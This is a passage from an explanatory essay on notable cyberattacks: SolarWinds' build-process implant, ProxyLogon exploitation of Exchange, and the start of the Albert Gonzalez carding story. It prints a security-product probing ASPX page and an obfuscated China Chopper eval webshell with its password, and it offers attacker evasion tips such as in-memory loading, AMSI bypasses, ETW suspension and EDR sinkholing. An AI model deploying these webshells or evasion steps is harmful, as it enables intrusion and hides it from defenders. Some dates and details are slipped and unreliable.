Using a Windows API Function, it then hooks the build process by msbuild.exe, and parses the Process Environment Block (PEB), to extract the arguments of the build. If this is the correct product, the patch is decrypted and deobfuscated and applied to a C# Source Code file known as InventoryManager.cs (SUNSPOT: An Implant in the Build Process, 2011). According to a December 18th, 2020, blog post by Microsoft, which calls the original stager malware “Solarigate”, the backdoor is inserted in InventoryManager.cs as a method known as the OrionImprovementBusinessLayer and utilizes base64 encoding or the hashes of the required malware for the backdoor to evade detection. Because the build process is being hooked by the SUNSPOT listener payload, the deobfuscated patches can be inserted as Orion builds itself, and will evade detection because the modified application is being signed by SolarWinds’s legitimate code-signing certificates (Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers, 2020).

The malware callbacks to C2 servers hosted on four Amazon Web Services Availability Zones, us-west-1, us-west-2, us-east-1, and eu-west-1, were provisioned through compromised accounts. The working idea is that by hosting Command-and-Control (C2) on western cloud providers, threat actors would be able to better evade suspicion as the payload patched into the Orion App runs.

With the “patch” installed on infected Orion updates, additional modules can be dropped and loaded. In the Microsoft Blog, there is a reference to a custom-compiled DLL called ypprop.dll. Correlating this research with writeups from vx-underground, ypprop.dll is a DLL that holds functions from the ImageMagick Library, cross-compiled for Windows, and serves as the TEARDROP Cobalt Strike Beacon Loader (SUNBURST, TEARDROP and the NetSec New Normal, 2020). The TEARDROP loader uses legitimate ImageMagick functions to dig out the obfuscated Cobalt Strike Beacons from images that are dropped on the disk through the SolarWinds Orion Backdoor using a custom rotating XOR algorithm. There are two other versions of TEARDROP loaders as DLLs on abuse.ch using different imported functions to load Cobalt Strike Beacons directly into memory.

Later variants of the TEARDROP loader are found on vx-underground and abuse.ch. After initial analysis of the loaders, the attackers have switched from using ported ImageMagick Libraries to using DLLs for audio/video codecs on Windows. The exported functions, which are basically the functions that you define in the DLL under any variable name you want, are obfuscated by pretending to be a DVR Library. It still has the same functionality, but this time it uses audio/video codecs to carve the Cobalt Strike Beacon out of dropped media where it was originally steganographically embedded (MalwareBazaar Database, 2020).

At this point, the Cobalt Strike Beacon is activated on the infected host, and post-exploitation begins. Out of the box, Cobalt Strike by itself is a legitimate Red-Teaming and Adversary Simulation Framework made by HelpSystems. Among all the commercial/proprietary and open-source Command-and-Control (C2) Post-Exploitation Frameworks, Cobalt Strike has been the most popular for those willing to either go through the paywall or acquire a cracked copy. There is an extensive community within the infosec community that continues to modify and add new capabilities to Cobalt Strike Beacons like Beacon Object Files (BOFs), which are basically a COFF-loader to extend the capabilities of the beacon, as well as Aggressor Scripts, which extends the ability of the attacker’s client that connects to Cobalt Strike’s Teamserver (for example, you can integrate cooperative sessions with the open source Empire Framework with Cobalt Strike and share sessions between two Teamservers). The Arsenal Kit allows modification of the compilation of the payload on-the-fly (for example, redefining the shellcode to be allocated to the heap or adding new features after rebuilding the payload templates), and Malleable C2 profiles are generated to obfuscate its traffic and “beaconing” behavior (that is, the “polling”, the network traffic, the “jitter”, the TLS certificate used, or the attacker’s URI endpoint).

Since the Cobalt Strike Beacon is loaded directly into memory using the TEARDROP loader, additional measures to evade detection would be to hide the running payload by various memory-evasion techniques, like re-encrypting shellcode in a loop using RC4 (Cracked5pider’s Ekko Evasion), or using Asynchronous Procedure Calls like FOLIAGE, which is an improvement upon Josh Lospinoso’s original Gargoyle memory-hiding technique.

Additional matters beyond what is mentioned here as a result of the breach are purely speculative. While many governments around the world find it to be an extremely sophisticated attack, it is not exactly known how far the threat actors have burrowed into our networks, what is being stolen or monitored, or even if the attackers have been successfully ejected. From the discovery of the breach to the recent June 2023 revelations of “Wells Notices” sent by the SEC against SolarWinds, the story is only continuing to evolve.

ProxyLogon/Hafnium/APT-40/Microsoft Exchange Server Mass Exploitation (2021)

On October 1st, 2020, DEVCORE began reviewing possible vulnerabilities with Microsoft Exchange Server. Later on, December 1st of that year, DEVCORE found the first pre-auth proxy bug, one of many CVEs that would coalesce into a series of vulnerabilities known as ProxyLogon. This is a Server-Side Request Forgery Attack against Microsoft Exchange, which on the 27th of December, was escalated into an authentication bypass vulnerability to gain administrative privileges, known as CVE-2021-26855. Near the end of the year, on December 30th, DEVCORE discovered a second, similar bug, requiring post-authentication to perform an arbitrary file write on Microsoft Exchange, named CVE-2021-27065. The following day, on the last day of the year 2021, DEVCORE privately produced a proof of concept that combined both vulnerabilities to cause remote code execution without requiring knowledge of administrative credentials (The latest pre-authenticated Remote Code Execution vulnerability on Microsoft Exchange Server, 2020).

Five days later, on January 5th, Orange Tsai of DEVCORE disclosed the vulnerability to Microsoft’s Security Response Center, and the following day Microsoft confirmed both vulnerabilities. At or around the same time, security firm Volexity has already detected in-the-wild abuse of the ProxyLogon bug. In a print edition of the Wall Street Journal, which then backtracked and redacted the following statements, it was speculated that a Chinese Security Vendor working with Microsoft’s vendor vulnerability disclosure program may have secretly disclosed the proof-of-concept of the bug to the Chinese Ministry of State Security (MSS), who then immediately distributed and weaponized the exploit among various Advanced Persistent Threat (APT) Groups.

On January 29th, TrendMicro reported that the infamous CHINACHOPPER, a one-liner, webshell was being dropped on Microsoft Exchange Servers but attributed the vulnerability to one that was already fixed by a patch (Krebs, 2021). On February 2nd, Volexity warned Microsoft of active exploitation of the unpatched vulnerabilities by “unknown” threat actors. At the end of February, mass-scanning was detected by “unknown threat actors”, who managed to gain privileged access to Microsoft Exchange Servers and as a post-exploitation and persistence technique, left webshell backdoors that run on the .NET framework, such as C# and Jscript.

On March 2nd, Microsoft pre-emptively released a patch one week ahead of its scheduled release, patching not just the two initial bugs as reported by DEVCORE, but an additional two other bugs, another post-authentication arbitrary file write vulnerability known as CVE-2021-26858, by which DEVCORE remarked would allow similar capabilities as their reported bug CVE-2021-27065 (HAFNIUM targeting Exchange Servers with 0-day exploits, 2020). In other words, an arbitrary file writes as an authenticated user (after initially exploiting CVE-2021-26855 to gain access as administrator as an outside attacker) allows them to drop additional payloads for post-exploitation and persist themselves as a privileged user by utilizing Webshells. The final vulnerability the patch fixed was CVE-2021-26857, which was a .NET Deserialization Attack Vulnerability that first required escalation to a privileged user vector from the initial bug, before being able to perform remote code execution as SYSTEM and drop a Simple Object Access Protocol (SOAP) Payload (Kost, 2023).

The following day, on March 3rd, 2021, Brian Krebs reports on his timeline that tens of thousands of Microsoft Exchange Servers are being hacked worldwide, and thousands more are falling by the hour (Krebs, 2021). On the same day, NBC News reported that targeted victims of the HAFNIUM Advanced Persist Threat were, in previous breaches, “infectious disease researchers, law firms, higher-education institutions, defense contractors, and policy think tanks, and Non-Governmental Organizations” (Collier, 2021). Somewhere starting at this moment in time, threat actors have begun reverse-engineering the patches of Microsoft Exchange using a technique called bin-diffing or binary-differencing, by comparing the code before and after the patch. At a later moment in time, six days later, it was discovered that the patch was written in C# and can be easily reversed using tools like dnSpy or ilSpy as reported by Praetorian Labs (Weems, Kaman, & Weber, 2021). Unlike low-level compiled languages like C, C++, Golang, Rustlang, or Nim, the language C# is an intermediate-level language much like Java and can easily be decompiled and compared against different patch versions. Starting with intermediate-level languages and up to high-level languages like scripting languages such as Python or JavaScript, source code can easily be recovered. As I will explain later, intermediate-level and scripting languages can easily be used to load malware directly into memory.

On March 4th, Jake Sullivan tweeted about applying the patch and Jen Psaki publicly expressed concern about the scale of the attack in a live press conference. On March 5th, Brian Krebs publicly reported that at least 30,000 organizations in the United States have been breached and hundreds of thousands of organizations worldwide have “backdoors” installed, which we later found out are webshells, culminating in the post-exploitation phase by allowing persistent access back to compromised organizations (Krebs, 2021). Webshells allow easy persistent access from a publicly facing host, in other words, an IP address of a WAN-facing machine such as a Microsoft IIS Server.

On March 10th, 2021, a Vietnamese Security Researcher named Nguyen Jang published an obfuscated and defanged (disarmed) version of the ProxyLogon Vulnerability on GitHub, before it was promptly removed by Microsoft, who owns GitHub (Cimpanu, 2021). Multiple security researchers such as Marcus Hutchins have confirmed that the exploit works when the intentionally bugged code is fixed. On the same day, ESET reported on their blog that at least ten additional threat actors have begun exploiting the vulnerability, which includes, but are not limited to, HAFNIUM/APT40, Tick/”Bronze Butler” attributed to PLA Unit 61419, LuckyMouse/APT27, Calypso, ToddyCat, BARIUM/APT41, and Tonto Team, attributed to PLA Unit 65017 (Faou, Dupuy, & Tartare, 2021). When you “defang” a payload, it’s more or less the same as defanging a malicious URL known to be used by threat actors, but instead of replacing dots with square braces or “https” with “hxxps”, you would, if it’s an actively distributed payload that has been compiled, patch out critical functionalities that would allow the malware to run, such as patching RET instructions for specific functions, or replacing identified shellcode with INT3 (0xcc) instructions. For non-compiled proof-of-concept, you defang the payload by removing critical elements needed for the exploit to work.

Two days later, on March 12th, the Wall Street Journal reported and suggested that confidential vulnerability disclosures through the Microsoft Active Protection Program, of which ten of the vendors are Chinese, have secretly disclosed the ProxyLogon Vulnerability, giving threat actors a head-start in the exploitation of the flaw before a patch was released (McMillan & Volz, 2021). On the same day, the first reports of DearCry Ransomware were being deployed on compromised machines, with the first known submissions being seen on March 11th, the previous day at 10:55 PM UTC, submitted with the hash e044d9f2d0f1260c3f4a543a1e67f33fcac265be114a1b135fd575b860d2b8c6 on abuse.ch (Weston, 2021). A tweet from Security Researcher Will Dorman on March 13th confirms that the proof-of-concept that disappeared from GitHub actually works.

On March 16th, a ThreatPost Article confirmed that multiple threat actors have begun exploiting the vulnerability en-masse, with Roger Grimes of KnowBe4 (Kevin Mitnick’s company) confirming that sophisticated threat actors can reverse-engineer patches to maintain the momentum of mass exploitation (Seals, Exchange Cyberattacks Escalate as Microsoft Rolls One-Click Fix, 2021). In the same article, it is reported that the most attacked country is the United States, with the majority of targets being the government and military, manufacturing, banking and financial services, software vendors, and healthcare. Three days later, on March 19th, BleepingComputer reported that Acer had been compromised with a 50 million dollar ransom demand from the financially motivated threat actor REvil, allegedly through a breach enabled by the ProxyLogon Vulnerability (Abrams, Computer giant Acer hit by $50 million ransomware attack, 2021).

So, what is actually so significant about the one-liner CHINACHOPPER .aspx webshell? Well, by tracking the attack through a Microsoft writeup on March 2nd, 2021, I managed to recover two webshell payloads from abuse.ch with the hashes SHA256 b75f163ca9b9240bf4b37ad92bc7556b40a17e27c2b8ed5c8991385fe07d17d0 and 511df0e2df9bfa5521b588cc4bb5f8c5a321801b803394ebc493db1ef3c78fa1.

The source code of b75f163ca9b9240bf4b37ad92bc7556b40a17e27c2b8ed5c8991385fe07d17d0 is a simple endpoint protection checker that checks for three vendors and is written in C#.

<%@ Page Language=”C#” Debug=”true” trace=”false”

validateRequest=”false”

EnableViewStateMac=”false”

EnableViewState=”true”%><%@ import Namespace=”System.IO”%><!

DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN”

“http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>

<head runat=”server”><%if(System.IO.File.Exists(“c:\\program files (x86)\\fireeye\\xagt.exe”)){Response.Write( “1”);}if(System.IO.File.Exists(“c:\\program files\\confer\\eula.txt”)){Response.Write( “2”);}if(System.IO.File.Exists(“c:\\program files\\crowdstrike\\csfalconservice.exe”)){Response.Write( “3”);}%></head>

It is designed to be dropped on a Microsoft IIS Server. If it detects a FireEye Agent, it returns a 1. If a Carbon Black Agent is detected, it returns a 2. Similarly, if CrowdStrike Falcon Agents are found, it returns a 3 to the visiting attacker. The attacker just needs to visit the aspx (Active Server Page .NET) to return the result.

Now let’s look at the obfuscated version of CHINA CHOPPER that was reported by the blog, another .aspx file with the hash 511df0e2df9bfa5521b588cc4bb5f8c5a321801b803394ebc493db1ef3c78fa1.

<%@ Page Language=”Jscript” Debug=true%>

var EVQR=’uISArhOjKnPgpLDycmEeYWUwRMdXaivlbBZVkxNzftqosQFHCTGJ’;

var AOSA=Request.Form(“error”);

var EHQG=EVQR(0) + EVQR(9) + EVQR(2) + EVQR(3) + EVQR(40) + EVQR(18);

eval(AOSA, EHQG);

# Deobufuscated it runs eval(Request.Form(“error”),unpAfE);

I used a hashmark (#) for my note, and after correlating the attacks with the writeups from vx-underground titled “HAFNIUM, China Chopper, and the ASP.NET Runtime” by TrustWave, I learned that the text “unpAfE” is the login password for the stealthy webshell. Normally, CHINA CHOPPER variants are just one-liners, but slightly more effort was applied to obfuscate the passphrase for the login.

Notice that the second code block above defines the language as Jscript. As I mentioned before, Jscript is not just JavaScript, it is the interface to the Windows Scripting Host, also known as wscript.exe or the console version cscript.exe Jscript supports JavaScript, batch scripts, vbs scripts, vba files (“macros”), powershell scripts, and all features of the .NET framework, including C#. This makes it a very powerful weapon for maintaining persistence as webshells are often the post-exploitation phase of the kill-chain. The simplicity of the code keeps entropy low and difficult to detect. The paper further explores the workings of the CHINACHOPPER CLIENT and demonstrates the shell access capabilities that it has to re-enter the foothold. However, the real “secret sauce” of CHINA CHOPPER lies not in the webshell itself, but in the capabilities of the client, as I will explain in the following paragraph.

So, what makes these webshells so dangerous? Because of privileged access to the Windows Scripting Host, you can dynamically load additional modules directly into memory to immediately re-escalate your privileges if the defenders did not find this webshell but locked the attackers out. You can load C#-based post-exploitation tools such as SeatBelt.exe and WinPeas.exe for re-enumerating a target as well as any implant from Covenant C2, the NiShang (Chinese for “escalate”) privilege escalation framework, PowerSploit, all Metasploit powershell payloads, and any Cobalt Strike Beacon through Scripted Web Delivery (obfuscated powershell commands), as well as the new HoaxShell tool on GitHub. It is also important to know that, as an adversary, it is not advisable to drop any payload on the disk written in C#, Java, or malware written in any Intermediate Language and up. The reason is that it is extremely easy to decompile and reverse using tools such as dnSpy, ilSpy, jd-gui, Uncompyle, and so on. Instead, if possible, directly load the beacons into memory using something like a compiled-stager written in C/C++/Golang/Nim/Rustlang, but inject it as a remote thread using Windows API functions to hook it. Microsoft has taken notice of payloads written in intermediate languages and especially scripting languages like powershell, meaning that AMSI bypasses (Antimalware Scan Interface) are required to load malware in scripting languages. Fortunately, for attackers, there are plenty of AMSI bypasses just using powershell alone.

To even catch the attackers in the act of using this foothold, outside of locating the webshell, would require constant memory snapshots. While it is true that you can track the attack using ETW, or Eventlog Tracing for Windows, it is relatively easy to spoof the PPID (Parent Process ID) to “change parents” through code alone by customizing the implants, either by using legitimate Windows APIs or using the Emotet method of utilizing malicious COM objects to change the PPID. The threads of ETW can be enumerated by their TID (thread ID) and then suspended to stop logging until the next reboot. At this point, attackers can delete/edit the logs, and enumerate the XDR endpoints to sinkhole them programmatically by writing bogus routing table entries or editing the host file to sinkhole the DNS resolution (requires privileged user vector). Recently, as of this writing, the official Microsoft SysInternals monitoring tool, Sysmon.exe, has been upgraded to version 15 and now runs as a PPL (Protected Light Process), making it more difficult to stop its alerting by simply patching out the process without utilizing a vulnerable driver allowing kernel access, which you can find the public signed ones on loldrivers[.]io.

Producing memory snapshots on Desktop Operating Systems like Windows, Linux, and MacOS is quite trivial compared to mobile operating systems like Android or Apple’s iOS. You can produce a memory snapshot using tools such as your Task Manager (limited to specific processes), Procmon, Procdump, Process Hacker 2, or through closed-source but free tools such as Mandiant Redline.

Fair warning, Nation-State Threat Actors are known to produce self-terminating implants that can detect such activity. I will not explore this unrelated topic any further, except to mention that according to the SecurityNow Podcast, Kaspersky proved that Operation Triangulation existed by first collecting phones with suspicious forensic artifacts, keeping them running inside a digital forensic lab, and repeatedly producing memory snapshots using their proprietary tools, a trade secret, for months. From the information extracted through these snapshots, Kaspersky allegedly was able to enumerate the callback C2 domains and produce proof of the mass exploitation. Apple shortly released a patch to fix this alleged zero-day. However, because I do not have access to proprietary tools to do this, as mobile device security is actually stronger than desktop security due to the natural sandboxes for applications running on mobile phones, I cannot confirm how this method worked.

Albert Gonzalez, Shadowcrew, and Heartland Payment Systems (1995-2008)

Warning, among all of the notorious cybercrime stories that I had to cover, this was by far the most frustrating to fact-check. Each co-conspirator has their own story, finger-pointing, and almost every archived news article had some sort of bias to favor either the interviewed individual or even to throw a politicalized dig against a United States Attorney running as a political candidate. It’s also important to note that the two major players in the final indictment, former United States Attorney Stephen P. Heymann and his supervisor Carmen Ortiz, once known as Bostonians of the Year, were later vilified for causing the suicide of Aaron Schwartz, the original co-founder of old-school Reddit, just for scraping publicly available information from MIT. But that was not the only death in light of all this (I will explain later in the story).

For this reason, I will break up the stories into two components: the Gonzalez-Toey Conspiracy and what I have noted from Stephen Huntley Watt’s keynote address. Among all the people indicted, Watt appears to be the most honest and has even corrected the majority of the misinformation directed against him and other co-defendants.

According to Albert Gonzalez’s own account, he purchased his first computer when he was twelve, and at the age of fourteen, “hacked” into NASA, prompting a visit from the FBI (cannot verify). Albert Gonzalez began his cybercrime career somewhere in the early 2000s, and eventually became a low-ranking member of Shadowcrew[.]cc, a notorious carder and identity theft forum. Shadowcrew had approximately 4,000 members, trading in stolen credit cards, identities, and teaching techniques either in black hat hacking or fraud (Stone, 2008). Around August 2002, the United States Secret Service took notice of Shadowcrew and began an investigation.

Albert Gonzalez was arrested at some point under the handle “Cumbajonny”, on or before October 2003, by the United States Secret Service, while he was “cashing-out”, or withdrawing cash from fraudulent credit card transactions from ATMs. Initially, he was charged with Access Device Fraud, but then chose to work as an undercover informant for the Secret Service. This is when Operation Firewall started with Albert Gonzalez being the star player.
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